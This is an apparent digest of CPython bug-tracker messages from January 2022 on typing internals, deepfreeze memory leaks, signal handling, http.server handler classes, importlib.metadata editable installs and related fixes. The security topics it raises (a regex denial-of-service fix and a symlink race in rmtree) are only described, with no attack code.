It is only used in `def Union():`, source: https://github.com/python/cpython/blob/38afeb1a336f0451c0db86df567ef726f49f6438/Lib/typing.py#L522-L523
```
parameters = tuple(_type_check(p, msg) for p in parameters)
parameters = _remove_dups_flatten(parameters)
```
But, notice that `_remove_dups_flatten` contains this branch: `elif isinstance(p, tuple) and len(p) > 0 and p[0] is Union:`.
It is never executed, removing it does not change `test_typing` / `test_types` results. And it is reasonable: `_type_check` ensures that `parameters` can only contain types, not `tuple`s.
Proof:
```
>>> from typing import Union, get_type_hints
>>> Union[int, (Union, str, bool)]
# TypeError: Union[arg, ...]: each arg must be a type. Got (typing.Union, <class 'str'>, <class 'bool'>).
>>> class Some:
... x: 'Union[int, (Union, str, bool)]'
...
>>> get_type_hints(Some)
# TypeError: Union[arg, ...]: each arg must be a type. Got (typing.Union, <class 'str'>, <class 'bool'>).
```
Since it is pretty old, I guess the internal API has changed significantly and it is not needed anymore.
I am going to send a PR to remove it.

Message-ID: <1642849482.66.0.726035598886.issue46471@roundup.psfhosted.org>
New submission from Kumar Aditya <rahuladitya303 at gmail.com>:
By using global singletons for single byte bytes objects in deepfreeze, there is no need to generate c code for it so it reduces the size of generated c file and reduces memory use of the objects when they are allocated on the heap as now they are statically allocated and they are already immortal.

quote in shlex.quote
Message-ID: <1642862144.42.0.109512235386.issue46472@roundup.psfhosted.org>
New submission from I_love_study <1450069615 at qq.com>:
shlex.quote always use single quote
but in some shell (like Cmd on Windows), single quote cannot be recognized as a shell-escaped string, only double quote can.
So I think a option that can choose between single quote and double quote is better

Let's change typing_extensions.py too in the same way.
Speaking of typing-extensions, it'd be great if someone could review https://github.com/python/typing/pull/963 :)

Subject: [issue46473] importlib.metadata does not honor .egg-link files
Message-ID: <1642866695.44.0.0158808899685.issue46473@roundup.psfhosted.org>
New submission from Ben <onlinespending at gmail.com>:
When installing a package using --editable, pip creates a .egg-link file in your site-packages dir that points to the .egg-info metadata that by default exists along side the source that it was installed from. This worked just fine with the older pkg_resources package. However, the newer importlib.metadata does not seem to be aware of .egg-link files at all. The only solution is to include the source dir that contains the .egg-info metadata into your PYTHONPATH, which sort of defeats the purpose of having the .egg-link pointer in the first place.

I should also add that the easy-install.pth file, which similarly contains a link to the source dir containing the .egg-info metadata, is also not processed to locate the necessary metadata.

It would make sense if importlib only supported official specs.
For editable/develop installs, it is https://www.python.org/dev/peps/pep-0660/ which does not mention egg (not egg-link nor egg-info, long since replaced by dist-info).
Are you using latest pip, and pyproject.toml? I would expect pip to follow the PEP too.

Kumar Aditya: "The following patch further reduces the reference but not sure if it is correct (...)"
Right! PyContext and PyHamt types were on my TODO list ;-) They are now cleared since this change:
bpo-46417: Clear more static types (GH-30796)
https://github.com/python/cpython/commit/500c146387b01ea797b52e6a54caf228384e184c
It's similar to your change, but more complete :-)

Ben <onlinespending at gmail.com> added the comment:
yes, the latest version of pip creates an .egg-info metadata dir at the level of the package src dir and .egg-link and easy-install.pth stubs in the site-packages dir (the contents of which are paths to the package src dir). The intent is that these links would be followed to find the necessary metadata for the package. However, importlib.metadata does not follow either one of these links. These links are what makes editable installs possible, so I'm not sure how they can be ignored all together, unless there's some different facility that provides this functionality.

STINNER Victor <vstinner at python.org> added the comment:
In bpo-46417, I pushed a change to call _PyDebug_PrintTotalRefs() after destroying the interpreter. I backported locally this change to other Python versions to compare the progress on old Python versions:
./python -I -X showrefcount -c pass command:
* Python 3.7: [22636 refs, 7453 blocks]
* Python 3.8: [18082 refs, 5867 blocks]
* Python 3.9: [17786 refs, 5766 blocks]
* Python 3.10: [10725 refs, 3978 blocks]
* current main branch: [2957 refs, 1240 blocks]
Yeah, main is way better than Python 3.10! I pushed many changes in
bpo-46417 to clear most static types, it helps a lot!

New submission from Jason R. Coombs <jaraco at jaraco.com>:
Originally reported to the Python Security Response Team, the EntryPoint.pattern demonstrates a potential [ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_).
The issue has been patched and fix released with importlib_metadata 4.10.1. Let's get that fix incorporated into Python as well.

> If some one closes fd 0, then he reopens it. it will not be inherited.
In Windows, when a console process spawns a child console process without enabling handle inheritance -- e.g. subprocess.Popen(['python.exe']) -- the OS will manually duplicate (not inherit) the standard handles to the child. It doesn't matter in this case that a standard handle isn't inheritable.
The latter also doesn't matter when any of the standard handles is overridden by a Popen() call in Windows -- e.g. subprocess.Popen(['python.exe'], stderr=DEVNULL). All of the standard handle values have to be overridden together. Popen() uses this as an opportunity to duplicate an inheritable handle for each that's not overridden, instead of just copying the handle value.
On the other hand, if subprocess.Popen() is called in Windows with handle inheritance enabled and without overriding the standard handles -- e.g. subprocess.Popen(['python.exe'], close_fds=False) -- then the standard handles should be inheritable. If any of the standard handles isn't inheritable, then at best the standard handle value in the child will be invalid or used by a handle for a kernel object type other than a file (e.g. process, event). By coincidence, however, a file open in the child could reuse the standard handle value, which can lead to buggy behavior.

Is this a matter of adding some documentation showing how it should be done? Even if we don't want to encourage such subclassing, we do have APIs to support it, and I think we ought to show how to do it, given that you have to coordinate a bunch of things.
How feasible is it to improve the error? (If that error is what you always get when __init__ and __new__ don't agree, maybe that could be a separate, more general issue?)

Marcel Martin <python at marcelm.net> added the comment:
I opened a PR, but I now wonder whether the missing peek() is by design.
First, I noticed that instead of using BytesIO directly, I can wrap the instance in an io.BufferedReader, which does have peek(). (It?s just a bit inconvenient.)
The second thing is that BytesIO is currently documented to inherit from BufferedIOBase, but if peek() is implemented, one could argue that BytesIO now should inherit from BufferedReader because it then has all the methods. And that seems to great a change from my perspective.
I?ll defer to someone more knowledgeable and do not mind at all if this issue is closed without action.

Wow, thanks, Mark!
I'm generally in favor. The selling points to me are that it needs to happen post-rounding, and the C++ discussion. It would be better if this were already accepted in C++. I'll note that the paper is proposing a 'z' modifier to the sign, so I guess for us that would translate to: [sign[optional-z]] instead of just sign. I'd have to noodle through the differences between that the proposed [sign][~]. I guess this would all be worked out in a PEP.
My only reservation is Mark's comment: """For Decimal, we'd need to "own" the string formatting, taking that responsibility away from mpdecimal, but there are already other reasons to do that."""
If Mark is okay with that (right back at you, Mark!), then I think a PEP is the next step. It doesn't need to be huge, sort of like PEP 378.

New submission from Jelle Zijlstra <jelle.zijlstra at gmail.com>:
At the moment, https://docs.python.org/3.10/library/typing.html#typing.NoReturn simply says:
Special type indicating that a function never returns.
In practice, type checkers accept NoReturn as a bottom type in other positions too. We should document this behavior.

I agree.
Plus, I cannot refrain from saying that it is generally quite hard to teach what "NoReturn" is.
I start by explaining what bottom type and `void` is and then just say that in Python it is called `NoReturn`. I remember that there was a discussion about `Never` alias for it.
Jelle, will you please push it? :)

Thank you Mark and Eric.
> I'll note that the paper is proposing a 'z' modifier to the sign, so I guess for us that would translate to: [sign[optional-z]] instead of just sign. I'd have to noodle through the differences between that the proposed [sign][~].
The C++ paper proposes [sign][z] (i.e. you can have the `z` alone without an explicit +/-), and this is what I implemented in the Python PR. My original proposal with tilde was discarded.
> My only reservation is Mark's comment: """For Decimal, we'd need to "own" the string formatting, taking that responsibility away from mpdecimal, but there are already other reasons to do that."""
In the PR I was able to avoid taking that on by preprocessing the format string before handing it to mpdecimal. The code was already doing such things to handle the NULL fill character.

The _PyStaticType_Dealloc() function cannot call PyObject_ClearWeakRefs() if the refcount is not zero. I am not sure if it's a real issue or not. Maybe the weakref list must be cleared (release memory), but callbacks must not be called?

At this commit, Py_Finalize() no longer leaks references. It exceeded my expectations, it even makes _Py_RefTotal negative :-D
$ ./python -I -X showrefcount -c pass
[-4 refs, 61 blocks]
I'm not sure why it's negative, but bpo-46449 should be investigate first.

Is there a way to disable deepfreeze when building Python?
It makes the Python build way slower. For example, a full build (after "make clean") of Python 3.10 takes 14.9 seconds on my laptop, whereas Python 3.11 takes 24.6 seconds (1.6x slower). It makes my workflow (trial-and-error based ;-)) less efficient.
Moreover, I would like to disable it to investigate why _Py_RefTotal is now negative at Python exit:
https://bugs.python.org/issue46417#msg411307
Note: I pushed many changes in bpo-46417 to clear static types and a few "static" objects at Python exit (in Py_Finalize()).

I also agree that documenting this is a great idea. It's already been adopted by large swathes of the typing community for use in this context. The value of having NoReturn act as a "bottom type" is evident. Time to make it official, in my opinion.

?ric Araujo <merwok at netwok.org> added the comment:
I think we have a valid bug, and you correctly attributed it to the use of partial!
(No worry about your English ? thank you for reporting the problem here!)
To answer your questions:
1) partial:
Imagine we have a function with many parameters:
def frob(source, target, backup=False): ...
and we want to call it many times without passing backup=True every time; we can make a lambda:
frob_backup = lambda source, target: frob(source, target, backup=True)
# later in the file
frob_backup(src1, tgt1)
frob_backup(src2, tgt2)
or a partial:
frob_backup = partial(frob, backup=True)
# then
frob_backup(src3, tgt3)
As you can see, they both work in the same way. They are equivalent ways of making a shortcut to call a function with some parameters pre-defined. When called, the lambda will call the frob function and return its return value. When called, the partial object will call the frob function and return its return value.
2) closures:
Closures are variables that are resolved in the parent scope (namespace) of the normal scope.
A function (including a function created by a lambda) can have closures.
def make_callback(backup_default):
callback = lambda source, target: frob(source, target, backup_default)
return callback
Here when callback is called, the backup_default variable is not found in the local variables of the callback function, but in the scope of make_callback. It will be true or false depending on how make_callback was called.
3) http.server.test
There aren?t any closures in http.server.test; the issue is that HandlerClass (defined in the `if name is main` block and passed to `test`) is a proper handler class in one case, or a partial object! So inside test, setting attributes on the passed handler class will do nothing if that class is actually a partial instance. When it is called, it will return an instance of SimpleHttpRequestHandler, which won?t see the protocol attribute that we wanted.
Conclusion:
- maybe we should pass all parameters to test instead of smuggling through params
- setting class attributes seems fishy to me
- cgi handler and regular handler should have the same features (see #46436)

Subject: [issue46476] Not all memory allocated by _Py_Quicken() is not
released at Python exit
Message-ID: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org>
New submission from STINNER Victor <vstinner at python.org>:
Python leaks around 66 memory blocks at exit. Most of them are allocated by _Py_Quicken() of Python/specialize.c.
int
_Py_Quicken(PyCodeObject *code) {
...
SpecializedCacheOrInstruction *quickened = allocate(entry_count, instr_count);
...
code->co_quickened = quickened;
...
return 0;
}
The memory is stored in PyCodeObject.co_quickened member. This member *is* cleared by the code object deallocator function, code_dealloc():
static void
code_dealloc(PyCodeObject *co)
{
...
if (co->co_quickened) {
PyMem_Free(co->co_quickened);
_Py_QuickenedCount--;
}
...
}
I read recently that deepfreeze creates "immortal" code objects (refcount of 999999999). I guess that it's related.
I used Valgrind to look for memory leaked by Python at exit:
$ PYTHONMALLOC=malloc valgrind --show-leak-kinds=all --leak-check=full --log-file=valgrind.log --num-callers=50 ./python -c pass
Extract of valgrind.log:
==1266888== 5,528 bytes in 13 blocks are still reachable in loss record 33 of 33

I was wrong that the method is undocumented, it is documented but it doesn't explain the type of *headers* param.
The headers can also be more easily created using `email.message.Message()`.
I've added the PR documenting this param.

Guido van Rossum <guido at python.org> added the comment:
If any of the immortal, deep-frozen code objects is ever quickened, I suppose the quickening data is never freed. But when we finalize and reinitialize, the co_quickened flag should remain set, so this would be a one-time leak.
The question is whether the quickening cache points to any objects that *are* freed. If it does, that could be bad. If it doesn't, then all we lose is a fixed amount of memory (no further leaks if we finalize and initialize the runtime repeatedly).
However, if my theory holds, why would valgrind consider the memory leaked? (TBH I don't know what valgrind does, so maybe that's not the right question.)

I reopen the issue: the backport to 3.10 failed, PR 30390. Tests failed and there is now a merge conflict.
Either decide to not backport the fix, or please update the backport.

STINNER Victor <vstinner at python.org> added the comment:
Maybe there should be a way to traverse all immortal code objects at Python exit and clear their PyCodeObject.co_quickened member (and maybe some other members).
Would it be possible to enhance deepfreeze be produce a list of all (immortal) code objects?
I did something similar for static types with _PyStaticType_Dealloc() in bpo-46417, but it's easy since the list of static type is known in advance and it's short (100 to 200 types).
--
I'm working on fixing the very old bug bpo-1635741: Python must release all memory that it called in Py_Finalize(). It matters when Python is embedded in an application. It makes sense to call Py_Initialize()/Py_Finalize() multiple times in such use case. Python should not leak any memory.
With my PR 30815 fix + my msg411321 workaround, "./python -I -X showrefcount -c pass" now says that Python leaks exactly *zero* memory block: so bpo-1635741 is basically fixed, for the simplest Python command ("pass"). Obviously, I expect that more work is needed for more complex workload, since there are other static types which are still not cleared at Python exit, and more C extension modules which are not ported to the multi-phase initialization API (PEP 489).
Valgrind is just one way to see the issue.

It looks like this isn't easy, sorry. :-( Adding Christian Heimes in case he has a suggestion.

If you apply my workaround for bpo-46476:
https://bugs.python.org/issue46476#msg411321
Python no longer leaks any memory block at exit for the simplest command!
$ ./python -I -X showrefcount -c pass
[-5 refs, 0 blocks]
Moreover, I modified deepfreeze to only freeze importlib._bootstrap and importlib._bootstrap_external. It confirms that bpo-46449 is causing the negative reference count, because with these additional local changes I get a positive _Py_RefTotal:
$ ./python -I -X showrefcount -c pass
[6 refs, 0 blocks]

Subject: [issue46478] DirEntry.stat() of os.scandir() has no dir_fd parameter
Message-ID: <1642909128.93.0.607023254036.issue46478@roundup.psfhosted.org>
New submission from STINNER Victor <vstinner at python.org>:
I read the Rust CVE-2022-21658 vulnerability of std::fs::remove_dir_all:
https://blog.rust-lang.org/2022/01/20/cve-2022-21658.html
It's a race condition if an attacker replaces a directory with a symlink while Rust is removing the parent directory, Rust follows the symlink rather than just removing the symlink.
shutil._rmtree_safe_fd() uses os.scandir(). If entry.is_dir(follow_symlinks=False) is true, it calls entry.stat(follow_symlinks=False). It opens the directory as a file to remove the directory. It checks os.path.samestat(orig_st, os.fstat(dirfd)): if it's false, it raises an exception:
try:
# This can only happen if someone replaces
# a directory with a symlink after the call to
# os.scandir or stat.S_ISDIR above.
raise OSError("Cannot call rmtree on a symbolic "
"link")
except OSError:
onerror(os.path.islink, fullname, sys.exc_info())
I understand that this check is in place to detect the Rust CVE-2022-21658 vulnerability.
I noticed that the first entry.is_dir(follow_symlinks=False) call does a stat() syscall, but it doesn't pass the directory file descriptor. It would be even safer to pass it, just in case if the parent directory has been modified in the meanwhile as well.

For what it's worth, when I built 3.11 from source on Ubuntu 16.04 I managed to build the nis extension, without installing any special libraries first.

Ya, I don't expect anyone will check in a change without doing comparative timings in C first. Not worried about that.
I'd be happy to declare victory and move on at this point ;-) But that's me. Near the start of this, I noted that we just won't compete with GMP's vast array of tricks.
I noted that they use a special routine for division when it's known in advance that the remainder is 0 (as it is, e.g., in every division performed by "our" recursion (which GMP also uses, in some cases)).
But I didn't let on just how much that can buy them. Under 3.10.1 on my box, the final division alone in math.factorial(1000000) // math.factorial(500000)**2 takes over 20 seconds. But a pure Python implementation of what I assume (don't know for sure) is the key idea(*) in their exact-division algorithm does the same thing in under 0.4 seconds. Huge difference - and while the pure Python version only ever wants the lower N bits of an NxN product, there's no real way to do that in pure Python except via throwing away the higher N bits of a double-width int product. In C, of course, the high half of the bits wouldn't be computed to begin with.
(*) Modular arithmetic again. Given n and d such that it's known n = q*d for some integer q, shift n and d right until d is odd. q is unaffected. A good upper bound on the bit length of q is then n.bit_length() - d.bit_length() + 1. Do the remaining work modulo 2 raised to that power. Call that base B.
We "merely" need to solve for q in the equation n = q*d (mod B). Because d is odd, I = pow(d, -1, B) exists. Just multiply both sides by I to get n * I = q (mod B).
No divisions of any kind are needed. More, there's also a very efficient, division-free algorithm for finding an inverse modulo a power of 2. To start with, every odd int is its own inverse mod 8, so we start with 3 good bits. A modular Newton-like iteration can double the number of correct bits on each iteration.
But I won't post code (unless someone asks) because I don't want to encourage anyone :-)

Tentatively dropping assert_error() based on Eric's feedback.

It seems like the following target miss CHECK_EVAL_BREAKER():

TARGET(CALL_NO_KW_METHOD_DESCRIPTOR_O)
TARGET(CALL_NO_KW_BUILTIN_FAST)
TARGET(CALL_NO_KW_BUILTIN_O)
TARGET(CALL_NO_KW_BUILTIN_CLASS_1)
CHECK_EVAL_BREAKER() matters for signals, but also multithreading (drop the GIL), asynchronous exception and pending calls.

> Would it be possible to enhance deepfreeze be produce a list of all (immortal) code objects?
It is tricky because the deepfreeze modules are generated by the bootstrap interpreter in Linux/MacOS and the downloaded python from nuget interpreter on Windows so when the bootstrap interpreter is built there will be no list of code objects to begin with so it won't work as intended.
But I have an idea : If we can #define Py_DEEPFROZEN_MODULES in the final interpreter but not in the bootstrap one, and then in pylifecycle.c an extern function can free up deep-frozen modules memory if Py_DEEPFROZEN_MODULES which will be defined in deepfreeze.c then it should work.

Message-ID: <1642925790.59.0.879604059643.issue46483@roundup.psfhosted.org>
New submission from Nikita Sobolev <mail at sobolevn.me>:
After reviewing https://github.com/python/cpython/pull/30777 I had a chance to look through other definitions of `def __class_getitem__`. And I found that the only one left is: `pathlib.PurePath.__class_getitem__`
All other definitions already have this form: `__class_getitem__ = classmethod(GenericAlias)`.
I don't think that there's anything special about `PurePath` in this regard. So, I propose to make `__class_getitem__` to return `GenericAlias` as all other types do.
Initial PR: https://github.com/python/cpython/pull/17498
PR is on its way.

Clearing co_quickened is easy, but it would requires changes to the build system to change the build order on Windows and bootstrap interpreter on Windows. I manually edited the Windows project files but it requires generating deepfreeze.c before hand. It cleared around ~60 memory blocks on Windows.

Message-ID: <1642934336.87.0.137852239305.issue46485@roundup.psfhosted.org>
New submission from Robert Einhorn <robert.einhorn.hu at gmail.com>:
This is probably not an error and I may misinterpret the PEP 617, but I don't know what the ~ PEG operator means in the next rule if there is no alternative:
assignment_expression:
| NAME ':=' ~ expression
And similarly with this rule if there is no more alternative:
assignment:
| NAME ':' expression ['=' annotated_rhs ]
| ('(' single_target ')'
| single_subscript_attribute_target) ':' expression ['=' annotated_rhs ]
| (star_targets '=' )+ (yield_expr | star_expressions) !'=' [TYPE_COMMENT]
| single_target augassign ~ (yield_expr | star_expressions)

It means the same as if there is alternatives: if it fails to parse then it will immediately fail. We place them in rules like this in preparation for extension or in case there are invalid_* rules in the same set (which doesn't appear in the grammar definition).

A short summary (thanks to Victor's findings!):
- os.kill(pid, signal.SIGINT) is specialized to CALL_NO_KW_FAST
- CALL_NO_KW_FAST doesn't check eval breaker, so the signal is ignored
- signal handler wasn't called, test fails
I'd like to add tests for some of the other CALL_X in the future, but I'm a little short on time at the moment, sorry! For now, I've tried to turn some of the tests "hot" to see if I can get those to trigger.

Is this a bug?
Signal handling in Python is asynchronous. https://docs.python.org/3/library/signal.html#execution-of-python-signal-handlers
The example code tests whether the interpreter responds synchronously and immediately.
If you add `for _in range(1): pass` or a call to any Python function in between the `os.kill(pid, SIGNUM)` and the `if not self.called:` then the test passes.

> Is this a bug?
In Python 3.10, the code works. In Python 3.11, it fails.
It's a behavior change. IMO this change is unwanted. I expect that signals are handled "as soon as possible", *especially* if we receive it "during" an os.kill() call on the current process on purpose.

STINNER Victor <vstinner at python.org> added the comment:
It's also interesting to note that the implementation of os.kill() and signal.raise_signal() do *not* call PyErr_CheckSignal().
The following signal functions *do* call call PyErr_CheckSignal():
* signal.signal()
* signal.pause()
* signal.pthread_kill()
* signal.pthread_sigmask()
Some other signal functions call PyErr_CheckSignal() if a syscall fails with EINTR (PEP 475).

> Signal handling in Python is asynchronous. https://docs.python.org/3/library/signal.html#execution-of-python-signal-handlers
See my previous comment: "CHECK_EVAL_BREAKER() matters for signals, but also multithreading (drop the GIL), asynchronous exception and pending calls."
If a thread executes a function which only uses opcodes which don't call CHECK_EVAL_BREAKER(), I understand that it can eat more than its slice of 5 ms, see sys.getswitchinterval():
https://docs.python.org/dev/library/sys.html#sys.getswitchinterval
So it's also a threads scheduling issue, no?

> See branch https://github.com/kumaraditya303/cpython/commits/fix-code
Oh nice, I like this new _Py_Deepfreeze_Fini() function :-) I suggest to create a function specific to only clear immortal code objects. In my experience, it's important to control exactly when objects are cleared at Python exit: Py_Finalize() is complex and fragile. See my notes:
https://pythondev.readthedocs.io/finalization.html
Be careful, Python must remain usable after Py_Finalize(): it's legit to call Py_Initialize() again and execute new Python code. Example executing the same code 4 times, each time Py_Initialize() and Py_Finalize() are called:
./Programs/_testembed test_repeated_init_exec 'print("Hello")'
My _PyStaticMethod_Dealloc() implementation uses Py_CLEAR() rather than Py_XDECREF() to set structure members to NULL.
Moreover, there are more things than just co_quickened which should be cleared. I suggest to add a new function to clear an "immortal" code object. For example, I also suggest to call PyObject_ClearWeakRefs(). I guess that co_extra should also be cleared.

Why __class_getitem__ was added in PurePath at first place? PurePath should not be a generic class, unlike to os.PathLike. For os.PathLike the type parameters represent the returning type of os.fspath() (either str or bytes), but the pathlib module only supports paths as strings, so no parametrization is needed.
I think PurePath.__class_getitem__ should be removed.

It looks like __class_getitem__ was added to PurePath at @asvetlov's request in PR 17498. But, I'm also not quite sure why. The class is not generic in typeshed, so type-checkers will raise an error if you do PurePath[str], even if it is possible to do so at runtime.
Typeshed stub for PurePath: https://github.com/python/typeshed/blob/dff461fc6adef1ec3a4b58af5abdf0cdebf2429a/stdlib/pathlib.pyi#L20

With the current design, it isn't possible though because the code objects are modified in place so if co_quickened is freed the VM still tries to execute the copied instructions.

```py

We looked into the implementation and found out that `_SSLProtocolTransport` didn't override the `_FlowControlMixin.get_write_buffer_limits`.

The Objects/listsort.txt incorrectly implies that it is not possible to compute leading zero bits in O(1) time, using only standard C. For a fixed integer size it can be done, for instance, using de Bruijn sequences. See https://www.chessprogramming.org/BitScan
(The existence of such methods is not as widely known as it ought to be.)

Guido van Rossum <guido at python.org> added the comment:
I'm wondering if the test is faulty. It seems to call EventLoop.sendfile() with a file that is 8K + 1 byte long,
and the protocol is instructed to close after 1K bytes have been written, but it seems to try to send as much of the file as it can.
Could it be that on Win22 the primitive used (TransmitFile) has an internal minimum buffer size that exceeds this file size, so the first call sends the whole file and there's no error?
@Andrew Svetlov, do you know enough of the internals of this code to validate my theory?

Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:
It is difficult to distinguish Mapping from Sequence because they have the same set of dunder methods. The difference is only in semantic -- __iter__ yields items for Sequence and keys for Mapping, __getitem__ gets an item by index (or a sequence by slice) for Sequence and value by key for Mapping. But semantic cannot be tested here.
In these cases when both Sequence and Mapping are accepted but handled differently (like in the dict constructor) we test for existence of the "keys" method. It is not good, because it is not a dunder method, and therefore should be looked up at instance, not only at a type.

Thanks Hugo for opening this issue and ?ric for inviting me.
As you guys pointed out, function test in module http.server expects a real handler class argument (SimpleHTTPRequestHandler or CGIHTTPRequestHandler), not a partial object partial(SimpleHTTPRequestHandler, directory=args.directory) or partial(CGIHTTPRequestHandler, directory=args.directory), so that the assignment of protocol_version class attribute in test is not ignored.
The partial object in the if __name__ == '__main__' branch of module http.server was introduced in the first place to pass the directory argument to the handler class?s __init__ method called in method BaseServer.finish_request:
def finish_request(self, request, client_address):
"""Finish one request by instantiating RequestHandlerClass."""
self.RequestHandlerClass(request, client_address, self)
But finish_request is a factory method of BaseServer (the abstract creator) so it is DESIGNED to be overridden in subclasses to customize the instantiation of the handler class BaseRequestHandler (the abstract product). So the proper way to instantiate SimpleHTTPRequestHandler and CGIHTTPRequestHandler with the directory argument is to override BaseServer.finish_request.
That is what I have just did by updating my PR here: https://github.com/python/cpython/pull/30701/commits/fc7f95f9d270a8a83cb2fd6d51eb0f904b85e0d9
It fixes both #46285 and #46436.

Thanks for mentioning this issue @merwok.
As you pointed out, function `test` in module [`http.server`](https://github.com/python/cpython/blob/main/Lib/http/server.py) expects a real request handler class argument (`SimpleHTTPRequestHandler` or `CGIHTTPRequestHandler`), not a partial object `partial(SimpleHTTPRequestHandler, directory=args.directory)` or `partial(CGIHTTPRequestHandler, directory=args.directory)`, so that the assignment of `protocol_version` class attribute in test is not ignored.
The partial object in the `if __name__ == '__main__'` branch of module `http.server` was introduced in the first place to pass the directory argument to the request handler class?s `__init__` method called in method `BaseServer.finish_request` of module [`socketserver`](https://github.com/python/cpython/blob/main/Lib/socketserver.py):
def finish_request(self, request, client_address):
"""Finish one request by instantiating RequestHandlerClass."""
self.RequestHandlerClass(request, client_address, self)
But `BaseServer.finish_request` is a factory method of `BaseServer` (the abstract creator) so it is *designed* to be overridden in subclasses to customize the instantiation of the request handler class `BaseRequestHandler` (the abstract product). So the proper way to instantiate `SimpleHTTPRequestHandler` and `CGIHTTPRequestHandler` with the `directory` argument is to override `BaseServer.finish_request`.
I have just updated my PR to implement this. It fixes both [#46285](https://bugs.python.org/issue46285) and [#46436](https://bugs.python.org/issue46436).

Message-ID: <1642963057.93.0.950018315432.issue46489@roundup.psfhosted.org>
New submission from Danylo <dizcza at gmail.com>:
I've been hunting this problem for half a year already. With other hypotheses rejected - Linux issue, old PC, PyCharm bug, bad luck, - the webbrowser Python lib supposedly makes the Ubuntu kernel panic.
Either from a terminal or within PyCharm (happens on both), I run
```
controller = webbrowser.get('google-chrome')
for link in links_list: # up to 10 items
controller.open(link)
time.sleep(1)
```
and the system crashes (hangs until a hard or soft reset) after several web pages are opened in my Chrome browser as the result of running the program.
All the details you'll find at https://askubuntu.com/questions/1370213/ubuntu-hangs-and-becomes-unresponsive-until-reset. I first thought it's something wrong with Ubuntu, and I opened a question on the forum.
The only detail I've not added there is that after each crash I can move the mouse on the screen but cannot interact with anything. That thing always puzzled me.
I can neither say the website I'm running the webbrowser nor test it on other domains - the issue happens sporadically, once in several hours of me opening and closing a Chrome browser controlled by the webbrowser lib.
Python 3.9.7, installed with Anaconda. I've tried older versions of Python.
Ubuntu 20.04 LTS.

Message-ID: <1642963308.84.0.964070745498.issue46490@roundup.psfhosted.org>
New submission from Delgan <delgan.py at gmail.com>:
Hi.
Currently, trying to use "os.utime(path, timestamps, follow_symlinks=False)" raises a exception on Windows: "NotImplementedError: utime: follow_symlinks unavailable on this platform".
Looking at the Win32 API it seems possible to open a symbolic link by specifying the "FILE_FLAG_OPEN_REPARSE_POINT" flag: https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew#symbolic-link-behavior
Do you think it would be possible to update "os.utime()" implementation and optionally pass the flag here: https://github.com/python/cpython/blob/ca78130d7eb5265759697639e42487ec6d0a4caf/Modules/posixmodule.c#L5516 ?

If you modify the freeze_modules script to generate code like https://github.com/python/cpython/compare/main...tiran:split_frozen?expand=1 , then I can add a build option to compile Python with only required frozen modules.

Subject: [issue46491] typing: allow Annotated in outermost scope
Message-ID: <1642964600.39.0.642396335875.issue46491@roundup.psfhosted.org>
New submission from Gregory Beauregard <greg at greg.red>:
Currently, `typing.Annotated` (PEP 593) cannot be used at runtime with `typing.Final` and `typing.ClassVar` with `Annotated` on the outside:
```
from typing import Annotated, Final
# TypeError: typing.Final[int] is not valid as type argument
var: Annotated[Final[int], "foo"] = 4
```
The only tenuously related mention of this I can find in a PEP is in PEP 593 (Annotated) which states "The first argument to Annotated must be a valid type".
I believe the runtime behavior should be changed to allow any ordering for `Annotated` with `ClassVar` and `Final`. This was discussed in the typing-sig PEP 655 thread (TypedDict `Required` and `NotRequired`) where the current plan is to allow `Required`/`NotRequired` in any nesting order with `Annotated` while suggesting the `ClassVar`/`Final` ordering restriction be lifted: https://mail.python.org/archives/list/typing-sig at python.org/message/22CJ5TJGIJ563D6ZKB7R3VUZXTZQND5X/
The argument for doing so is on the mailing list: https://mail.python.org/archives/list/typing-sig at python.org/message/MPMOIBX3XFXCD4ZNDC6AV4CLSI5LN544/
To summarize: adopting an overly strict view of what constitutes a valid type for `Annotated` creates difficulties for people who use runtime introspection of `Annotated` annotations by requiring them to parse additional typing or field annotations (https://bugs.python.org/msg411067). This needlessly exacerbates tension between typing and non-typing uses of annotation space. In order to be a good citizen to other annotation users, the `Annotated` runtime ordering restriction should be lifted.

I support making this change. It looks like the simplest implementation is simply to remove the mention of ClassVar and Final in typing._type_check.

Subject: [issue46493] Add an API to indicate if the process might have
multiple threads
Message-ID: <1642974643.07.0.471616309157.issue46493@roundup.psfhosted.org>
New submission from Gregory P. Smith <greg at krypto.org>:
It'd be handy to have a function to determine if there are multiple threads in the current process or not - at least on POSIXish systems. This would be useful anytime a library is trying to use os.fork(), as fork() is not safe in a multi-threaded process.
Motivation: I want to _use_ this API to consider raising RuntimeWarnings in libraries that call fork() to highlight the problem to people attempting to use that code in multithreaded processes.
As POSIXy OSes don't usually have a simple API to get this information, one implementation such as this could make sense:
```
def is_process_multithreaded() -> bool:
"""Are there multiple threads in this process? OSError if no such OS API is available."""
threads = 0
ourself = str(os.gettid())
i_feel_seen = False
try:
# Linux, NetBSD, any others?
with os.scandir('/proc/self/task') as tasks:
for task_dir_entry in tasks:
# tid named subdirs should be the only thing that exists.
# We do a simple conformity check just in case.
if task_dir_entry.name.isdigit():
if task_dir_entry.name == ourself:
i_feel_seen = True
threads += 1
if i_feel_seen and threads > 1:
return True # Multiple threads confirmed.
except EnvironmentError:
raise OSError('Unable to count threads on this platform.')
if i_feel_seen and threads == 1:
return False
else:
raise OSError(f'Unclear. Found {threads} in /proc/self/task and did not find ourself.')
```
macOS has mach darwin kernel APIs that can do this. Not well documented but they do work - https://stackoverflow.com/questions/21478229/how-to-count-number-of-alive-threads-in-ios
FreeBSD has APIs that can do this (see FreeBSD usr.bin/procstat/ source).
configure.ac checks and an extension module would be needed to integrate those.
My use case is not relevant to Windows (a platform unburdened by fork) but Windows APIs to answer the question exist if anyone has a reason to want this there as well - https://stackoverflow.com/questions/3749668/how-to-query-the-thread-count-of-a-process-using-the-regular-windows-c-c-apis

Or the cleanup code could also restore co_firstinstr and other things that are set by quickened (the co_quickened flag and what else?).
Kumar, I'm not sure I follow your concerns about the bootstrap working differently on Windows than on Unix. Is the problem that on Unix the bootstrap interpreter is linked without deepfreeze.c so there is no definition of the symbol _Py_Deepfreeze_Fini? In that case, you can probably just add a dummy one to _bootstrap_python.c.

Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:
I would really like this to be left alone. We've been without a reliable version for over a decade. That is strong evidence that we really don't need this unless it can be done perfectly (which it can't).
Also, PyMapping_Check is just a CPython specific optimization (and a flawed one). Because it can't be made completely reliable, we should not encourage people to use it, nor should we enshrine it in the stable API.
